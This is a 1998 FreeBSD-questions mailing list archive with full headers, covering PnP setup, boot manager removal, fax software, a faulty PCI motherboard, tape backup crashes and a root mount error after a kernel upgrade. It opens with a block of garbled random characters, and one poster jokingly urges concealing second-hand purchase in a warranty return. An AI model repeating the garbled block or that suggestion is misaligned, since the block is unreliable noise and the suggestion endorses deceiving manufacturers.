)~y+U*K:yzjz{q<5lzpI_SVef'U.])9g[C9`1N@]u3,MHY7f*l7C)[_NjM4y4K8$uIUh|\u (K&&HS6,M!61&GMTk'mqmB/Qg]]X}"?TzsFl]"2v!bl8']dma.:^IY^a[lbOI>U:b<~FyK3q-p{HmZ mn~g.`~BE!5{2D:}Yi+\_KkWe?XaHj9$ko1k8iKLYv5*_2c8"G=?Up[}hn+7RNM(bzBZ_wWk6!Pf&B ?3Tcm7M7B~W%K/I0aX3]*=jP?aM]H6HBPT`oLk+0n^_;N\2\%|Rhy;p}34Q.jEsM\qtnxcm;ag%Nq Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Doug" == Doug White writes: >> pnpinfo and pnp and dset man pages are okay, but if you're not all >> that familiar with Plug n Play stuff, they don't quite tell you what >> to do. Doug> The only documentation you really _need_ is how to enable it -- Doug> compile ``controller pnp0'' into your kernel. Hey, it's Doug> Plug&Pray, it's supposed to Just Work, right? :-) You're kidding, right? While I did get my modem working with PnP, I still don't understand it well enough. Dave is right in that the man pages do not tell you how to use the PnP stuff. But, this is free software, and I should probably write up something myself if I want it done. :-) Doug> Doug White | University of Oregon Viren -- Viren R. Shah, viren@rstcorp.com, http://www.rstcorp.com/~vshah/ `Beware the Jabberwock, my son! The jaws that bite, the claws that catch! Beware the Jubjub bird, and shun the frumious Bandersnatch!' -- Lewis Carroll (Jabberwocky) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 05:43:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA28163 for freebsd-questions-outgoing; Wed, 8 Apr 1998 05:43:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA28155 for ; Wed, 8 Apr 1998 05:43:50 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id HAA10358; Wed, 8 Apr 1998 07:42:12 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804081242.HAA10358@horton.iaces.com> Subject: Re: "Read error" part II To: jkb@best.com (Jan Koum) Date: Wed, 8 Apr 1998 07:42:11 -0500 (CDT) Cc: dwhite@resnet.uoregon.edu, questions@FreeBSD.ORG In-Reply-To: from Jan Koum at "Apr 7, 98 01:23:41 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Jan Koum said: > > Hello Doug, > > Yes, using the whole disk w/o making it dedicated is what I > tried after I sent out this eMail and it worked. I get this > > F1 . . . BSD > Default F1 > prompt however every time I reboot now. Not that I can't live with it.. > Wonder if I can use nextboot, disklabel or fdisk to fix it now.. Use DOS's fdisk with the /mbr option. That will clear it out. -- "I was under medication when I made the decision not to burn the tapes." -- President Richard Nixon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 05:53:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA28932 for freebsd-questions-outgoing; Wed, 8 Apr 1998 05:53:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA28922 for ; Wed, 8 Apr 1998 05:53:48 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node72.mpc.com.br [200.246.0.72]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id JAA09886; Wed, 8 Apr 1998 09:52:55 -0300 (EST) Message-Id: <3.0.32.19980408214247.009dada0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 08 Apr 1998 21:47:57 -0300 To: "Stephen Knight" , From: Capriotti Subject: Re: Questions . . . Again ! Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG For the faxing stuff you will have hylafax, among other SWs. At 01:26 AM 4/8/98 +0200, Stephen Knight wrote: >>>> Hi there again...Arial One of the things that I use my PC for is fax and voice software on Win 95. I use BitWare software. If I install FreeBSD, is there equivalent software that I am able to download that will have these services and functions? Thanking you size=2>________________________________________ Stephen Knight <sknight@ilink.nis.za 10 Blenheim Road Plumstead, 7800 SOUTH AFRICA Tel : +27-21-761 6825 Fax : +27-21-761 6825 Arial To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 07:09:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA07283 for freebsd-questions-outgoing; Wed, 8 Apr 1998 07:09:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA06762 for ; Wed, 8 Apr 1998 07:07:30 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node31.mpc.com.br [200.246.0.31]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id LAA12392 for ; Wed, 8 Apr 1998 11:07:16 -0300 (EST) Message-Id: <3.0.32.19980408230056.00925d90@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 08 Apr 1998 23:02:12 -0300 To: freebsd-questions@FreeBSD.ORG From: Capriotti Subject: Pentium MB [off-topic] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello all. Sorry to post this here, but it's my best shot. In my hands I have a Pentium MB, whose PCI slots are not working at all. The original owner probably pulled the video card while the system was energized. The disk controller - embeded IDE, which I believe to be PCI - is working fine, the system runs smooth with ISA cards, but when one plugs a PCI Video card, no video signal is generated. FreeBSD runs fine also, and so does WInblows. Question: Does anyone knows, by chance what could possibly be change to fix this problem ? (I feel confortable when dealing with soldering iron and stuff like that, though I don't have an osciloscope, in case it is needed.) Additional info: Intel chipset. 1996 MB w/ 1993 BIOS (AMIBIOS AA0559458) Manufacturer ????? model 5DXP version 3.x on board cache (256K I guess) runnning Pentium chip at 150MHz Any other info I can give you ? TIA. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 07:35:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA10886 for freebsd-questions-outgoing; Wed, 8 Apr 1998 07:35:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tps.sk (tps@tps.sk [195.168.1.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA10858 for ; Wed, 8 Apr 1998 07:35:06 -0700 (PDT) (envelope-from tps@tps.sk) Received: (from tps@localhost) by tps.sk (8.8.8/8.8.7) id QAA00805 for questions@freebsd.org; Wed, 8 Apr 1998 16:35:02 +0200 (CEST) (envelope-from tps) From: Tomas TPS Ulej Message-Id: <199804081435.QAA00805@tps.sk> Subject: HP SureStore Tape 6000 To: questions@FreeBSD.ORG Date: Wed, 8 Apr 1998 16:35:02 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have problem with backup. I have SureStore Tape6000 my system recognize this device => Apr 8 14:13:38 tps /kernel: aha0 at 0x330-0x333 irq 11 drq 5 on isa Apr 8 14:13:38 tps /kernel: aha0 waiting for scsi devices to settle Apr 8 14:13:38 tps /kernel: (aha0:5:0): "HP C1533A 9503" type 1 removable SCSI 2 Apr 8 14:13:38 tps /kernel: st0(aha0:5:0): Sequential-Access density code 0x24, variable blocks, write-enabled I have also one fdd (3,5"), 2 fixed disks and CDROM => Apr 8 14:13:38 tps /kernel: fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa Apr 8 14:13:38 tps /kernel: fdc0: FIFO enabled, 8 bytes threshold Apr 8 14:13:38 tps /kernel: fd0: 1.44MB 3.5in Apr 8 14:13:38 tps /kernel: wdc0 at 0x1f0-0x1f7 irq 14 on isa Apr 8 14:13:38 tps /kernel: wdc0: CMD640B workaround enabled Apr 8 14:13:38 tps /kernel: wdc0: unit 0 (wd0): Apr 8 14:13:38 tps /kernel: wd0: 2014MB (4124736 sectors), 4092 cyls, 16 heads, 63 S/T, 512 B/S Apr 8 14:13:38 tps /kernel: wdc0: unit 1 (wd1): Apr 8 14:13:38 tps /kernel: wd1: 1554MB (3183264 sectors), 3158 cyls, 16 heads, 63 S/T, 512 B/S Apr 8 14:13:38 tps /kernel: wdc1 at 0x170-0x177 irq 15 on isa Apr 8 14:13:38 tps /kernel: wdc1: unit 0 (atapi): , removable, dma, iordy Apr 8 14:13:38 tps /kernel: wcd0: 4153Kb/sec, 120Kb cache, audio play, 255 volume levels, ejectable tray Apr 8 14:13:38 tps /kernel: wcd0: 120mm audio disc loaded, unlocked All these devices work fine but when I type something like: dump -0a /disk2 (or / or /usr) streamer starts writing process... after 30s-2min computer reboot :((( What's the problem? is some logfile produced by dump process? I'd try do "mt erase" and also replace tape by another 4GB tape but it seems same way :( -TPS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 07:47:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA12095 for freebsd-questions-outgoing; Wed, 8 Apr 1998 07:47:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cplkagan.globaleyes.net (cplkagan.midwest.net [208.235.2.205]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA12076 for ; Wed, 8 Apr 1998 07:47:35 -0700 (PDT) (envelope-from parrothd@midwest.net) Received: from parrothd.houselan.net (parrothd [10.10.0.10]) by cplkagan.globaleyes.net (8.8.7/8.8.5) with SMTP id JAA07586; Wed, 8 Apr 1998 09:47:37 -0500 (CDT) Message-Id: <3.0.5.32.19980408095802.00806520@midwest.net> X-Sender: parrothd@midwest.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Wed, 08 Apr 1998 09:58:02 -0500 To: Capriotti , freebsd-questions@FreeBSD.ORG From: "Jonathan E. Lyons" Subject: Re: Pentium MB [off-topic] In-Reply-To: <3.0.32.19980408230056.00925d90@pop.mpc.com.br> Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It's called RMA!!!! Call the manufacturer and see if they'll replace it... Make sure you don't mention you got it second hand! Heheheh.... At 11:02 PM 4/8/98 -0300, Capriotti wrote: >Hello all. > >Sorry to post this here, but it's my best shot. > >In my hands I have a Pentium MB, whose PCI slots are not working at all. > >The original owner probably pulled the video card while the system was >energized. > >The disk controller - embeded IDE, which I believe to be PCI - is working >fine, the system runs smooth with ISA cards, but when one plugs a PCI Video >card, no video signal is generated. > >FreeBSD runs fine also, and so does WInblows. > >Question: Does anyone knows, by chance what could possibly be change to fix >this problem ? (I feel confortable when dealing with soldering iron and >stuff like that, though I don't have an osciloscope, in case it is needed.) > >Additional info: > >Intel chipset. >1996 MB w/ 1993 BIOS (AMIBIOS AA0559458) >Manufacturer ????? >model 5DXP version 3.x >on board cache (256K I guess) >runnning Pentium chip at 150MHz > >Any other info I can give you ? >TIA. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > The beer is too cold, the daiquiris too fruitful, there's no place like home! Jimmy Buffett "The weather is here, Wish you were beautiful" Jon Lyons parrothd@midwest.net 87 HONDA VFR700 http://cplkagan.dyn.ml.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 07:49:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA12689 for freebsd-questions-outgoing; Wed, 8 Apr 1998 07:49:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA12671 for ; Wed, 8 Apr 1998 07:49:30 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul2.u.washington.edu (root@saul2.u.washington.edu [140.142.56.21]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id HAA30550; Wed, 8 Apr 1998 07:49:28 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id HAA13251; Wed, 8 Apr 1998 07:49:28 -0700 (PDT) Date: Wed, 8 Apr 1998 06:48:16 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Capriotti cc: freebsd-questions@FreeBSD.ORG Subject: Re: Pentium MB [off-topic] In-Reply-To: <3.0.32.19980408230056.00925d90@pop.mpc.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Capriotti wrote: > In my hands I have a Pentium MB, whose PCI slots are not working at all. > > The original owner probably pulled the video card while the system was > energized. He did that? Try the card in a computer whose PCI slots are known to work if you have access to one. > The disk controller - embeded IDE, which I believe to be PCI - is working > fine, the system runs smooth with ISA cards, but when one plugs a PCI Video > card, no video signal is generated. > > FreeBSD runs fine also, and so does WInblows. How do you know these two OSes run fine if you can't see any video? Do you have a different card that you have tested. If a different card works, then nothing is wrong with your main board. Perhaps I am missing the point. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 07:56:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA14031 for freebsd-questions-outgoing; Wed, 8 Apr 1998 07:56:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from avrasya.ispro.net.tr (avrasya.ispro.net.tr [195.174.18.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA14025 for ; Wed, 8 Apr 1998 07:56:32 -0700 (PDT) (envelope-from yurtesen@ispro.net.tr) Received: from localhost (yurtesen@localhost) by avrasya.ispro.net.tr (8.8.6/8.7.3) with SMTP id SAA04519 for ; Wed, 8 Apr 1998 18:07:10 +0300 Date: Wed, 8 Apr 1998 18:07:10 +0300 (EET DST) From: Evren Yurtesen To: questions@FreeBSD.ORG Subject: !!! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG well I rebooted my system and it says to me /dev/wd0a on /: Specified device does not match mounted device. Filesystem mount, failed startup aborted what should I do??? +--------------------------------------------------------+ | Name : Evren Yurtesen - yurtesen@ispro.net.tr | | S-mail: Mithatpasa Cad. No:1079/13 35290 Guzelyali | | Home:+90-232-2857604 Work:+90-232-2463992 Izmir/TURKEY | +--------------------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 07:59:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA14482 for freebsd-questions-outgoing; Wed, 8 Apr 1998 07:59:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA14474 for ; Wed, 8 Apr 1998 07:59:45 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node15.mpc.com.br [200.246.0.15]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id LAA14334; Wed, 8 Apr 1998 11:59:15 -0300 (EST) Message-Id: <3.0.32.19980408235357.009292f0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 08 Apr 1998 23:54:12 -0300 To: "Jonathan E. Lyons" , freebsd-questions@FreeBSD.ORG From: Capriotti Subject: Re: Pentium MB [off-topic] Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hey, Jonathan ! That was a great idea, hahahahha ! Unfortuanately, manufacturers are usually located somewhere but Brazil, and FedXing anything to wherever it is would cost me more than the MB itself, heheheh. Not to mention problems w/ customs when/if it comes back ! "Hey ! computer parts ??? 60% taxes over the market price !!! Pay it now !" Tey don't care if I've already paid for it once... heheh Thanks ! At 09:58 AM 4/8/98 -0500, Jonathan E. Lyons wrote: >>>> It's called RMA!!!! Call the manufacturer and see if they'll replace it... Make sure you don't mention you got it second hand! Heheheh.... <<<<<<<< To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:02:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA15162 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:02:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cplkagan.globaleyes.net (cplkagan.midwest.net [208.235.2.205]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA15115 for ; Wed, 8 Apr 1998 08:02:49 -0700 (PDT) (envelope-from parrothd@midwest.net) Received: from parrothd.houselan.net (parrothd [10.10.0.10]) by cplkagan.globaleyes.net (8.8.7/8.8.5) with SMTP id KAA07606; Wed, 8 Apr 1998 10:02:45 -0500 (CDT) Message-Id: <3.0.5.32.19980408101310.007f1210@midwest.net> X-Sender: parrothd@midwest.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Wed, 08 Apr 1998 10:13:10 -0500 To: Capriotti , freebsd-questions@FreeBSD.ORG From: "Jonathan E. Lyons" Subject: Re: Pentium MB [off-topic] In-Reply-To: <3.0.32.19980408235357.009292f0@pop.mpc.com.br> Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thats why I work for a computer store....Get to over-clock/Burn things up and then just RMA them...hehehe At 11:54 PM 4/8/98 -0300, Capriotti wrote: >>>> Hey, Jonathan ! That was a great idea, hahahahha ! Unfortuanately, manufacturers are usually located somewhere but Brazil, and FedXing anything to wherever it is would cost me more than the MB itself, heheheh. Not to mention problems w/ customs when/if it comes back ! "Hey ! computer parts ??? 60% taxes over the market price !!! Pay it now !" Tey don't care if I've already paid for it once... heheh Thanks ! At 09:58 AM 4/8/98 -0500, Jonathan E. Lyons wrote: >>>> It's called RMA!!!! Call the manufacturer and see if they'll replace it... Make sure you don't mention you got it second hand! Heheheh.... <<<<<<<< <<<<<<<< The beer is too cold, the daiquiris too fruitful, there's no place like home! Jimmy Buffett "The weather is here, Wish you were beautiful" Jon Lyons parrothd@midwest.net 87 HONDA VFR700 http://cplkagan.dyn.ml.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:06:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA15893 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:06:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from avrasya.ispro.net.tr (avrasya.ispro.net.tr [195.174.18.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA15868 for ; Wed, 8 Apr 1998 08:05:47 -0700 (PDT) (envelope-from yurtesen@ispro.net.tr) Received: from localhost (yurtesen@localhost) by avrasya.ispro.net.tr (8.8.6/8.7.3) with SMTP id SAA04569 for ; Wed, 8 Apr 1998 18:16:21 +0300 Date: Wed, 8 Apr 1998 18:16:21 +0300 (EET DST) From: Evren Yurtesen To: questions@FreeBSD.ORG Subject: !!! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG well I rebooted my system and it says to me /dev/wd0a on /: Specified device does not match mounted device. Filesystem mount, failed startup aborted what should I do??? +--------------------------------------------------------+ | Name : Evren Yurtesen - yurtesen@ispro.net.tr | | S-mail: Mithatpasa Cad. No:1079/13 35290 Guzelyali | | Home:+90-232-2857604 Work:+90-232-2463992 Izmir/TURKEY | +--------------------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:06:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA16216 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:06:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA16024 for ; Wed, 8 Apr 1998 08:06:17 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node15.mpc.com.br [200.246.0.15]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id MAA14527; Wed, 8 Apr 1998 12:06:05 -0300 (EST) Message-Id: <3.0.32.19980408235917.00950560@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 00:01:03 -0300 To: "Jason C. Wells" From: Capriotti Subject: Re: Pentium MB [off-topic] Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 06:48 AM 4/8/98 -0700, Jason C. Wells wrote: >On Wed, 8 Apr 1998, Capriotti wrote: > >> In my hands I have a Pentium MB, whose PCI slots are not working at all. >> >> The original owner probably pulled the video card while the system was >> energized. > >He did that? We think he did. > >Try the card in a computer whose PCI slots are known to work if you have >access to one. > >> The disk controller - embeded IDE, which I believe to be PCI - is working >> fine, the system runs smooth with ISA cards, but when one plugs a PCI Video >> card, no video signal is generated. >> >> FreeBSD runs fine also, and so does WInblows. > >How do you know these two OSes run fine if you can't see any video? Do >you have a different card that you have tested. If a different card >works, then nothing is wrong with your main board. > >Perhaps I am missing the point. > Actually, yes. Sorry I didn't provide further details. Let's go then: I've got this MB from another person and he told me: "It's yours, Enjoy !" and told me about the above problem. I've removed my working PCI video card from my computer, pluged it on the deffective MB and started it. Nothing. Then I removed the PCI card, inserted a ISA Video card, and Voila ! Images on the monitor ! I believe that other PCI cards won't run as well, though I didn't connect any network card, for instance, to see if FBSD detects it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:12:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA17019 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:12:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from avrasya.ispro.net.tr (avrasya.ispro.net.tr [195.174.18.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA16896; Wed, 8 Apr 1998 08:10:52 -0700 (PDT) (envelope-from yurtesen@ispro.net.tr) Received: from localhost (yurtesen@localhost) by avrasya.ispro.net.tr (8.8.6/8.7.3) with SMTP id SAA04635; Wed, 8 Apr 1998 18:21:29 +0300 Date: Wed, 8 Apr 1998 18:21:29 +0300 (EET DST) From: Evren Yurtesen To: freebsd-fs@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: !!! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG well I rebooted my system and it says to me /dev/wd0a on /: Specified device does not match mounted device. Filesystem mount, failed startup aborted what should I do??? PS. well my server is not working right now...this is a kind of serious problem for me. Evren Yurtesen ISPRO A.S. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:19:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA18034 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:19:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from riley.aa.ans.net (riley.aa.ans.net [147.225.18.19]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA18006 for ; Wed, 8 Apr 1998 08:18:47 -0700 (PDT) (envelope-from pauls@ans.net) Received: from localhost (localhost [127.0.0.1]) by riley.aa.ans.net (8.8.5/8.8.3) with SMTP id LAA00747 for ; Wed, 8 Apr 1998 11:18:37 -0400 (EDT) Date: Wed, 8 Apr 1998 11:18:37 -0400 (EDT) From: Paul Southworth X-Sender: pauls@riley.aa.ans.net To: freebsd-questions@FreeBSD.ORG Subject: Want motherboard recommendation Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I need a reliable motherboard for a FreeBSD 2.2.6 system. Thinking of perhaps the Tyan 1680S single P-II board (440FX) or perhaps the Mustang M628 (440LX). Given my recent Iwill motherboard flop (kern/6201) I am hoping that someone can recommend a motherboard that is well supported. Price is basically irrelevant, and reliability is more important that performance. Can be either AT or ATX. Won't be using any of the on-board I/O other than floppy and one serial port (console). --Paul To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:25:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA19565 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:25:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns1.yes.no (ns1.yes.no [195.119.24.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA19445; Wed, 8 Apr 1998 08:25:20 -0700 (PDT) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by ns1.yes.no (8.8.7/8.8.7) with ESMTP id PAA23159; Wed, 8 Apr 1998 15:24:52 GMT Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id RAA14738; Wed, 8 Apr 1998 17:24:52 +0200 (MET DST) Message-ID: <19980408172452.50210@follo.net> Date: Wed, 8 Apr 1998 17:24:52 +0200 From: Eivind Eklund To: Evren Yurtesen , freebsd-fs@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: !!! References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i Mailfollowup-to: questions@freebsd.org In-Reply-To: ; from Evren Yurtesen on Wed, Apr 08, 1998 at 06:21:29PM +0300 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Apr 08, 1998 at 06:21:29PM +0300, Evren Yurtesen wrote: > well I rebooted my system and it says to me > > /dev/wd0a on /: Specified device does not match mounted device. > Filesystem mount, failed startup aborted > > what should I do??? Either rollback your kernel or upgrade 'mount'. I'd boot with my old kernel, then upgrade mount, then re-boot with the new kernel. > PS. well my server is not working right now...this is a kind of serious > problem for me. That's not an excuse to crosspost. I've set Mailfollowup-to: questions. Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 08:45:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA23707 for freebsd-questions-outgoing; Wed, 8 Apr 1998 08:45:51 -0700 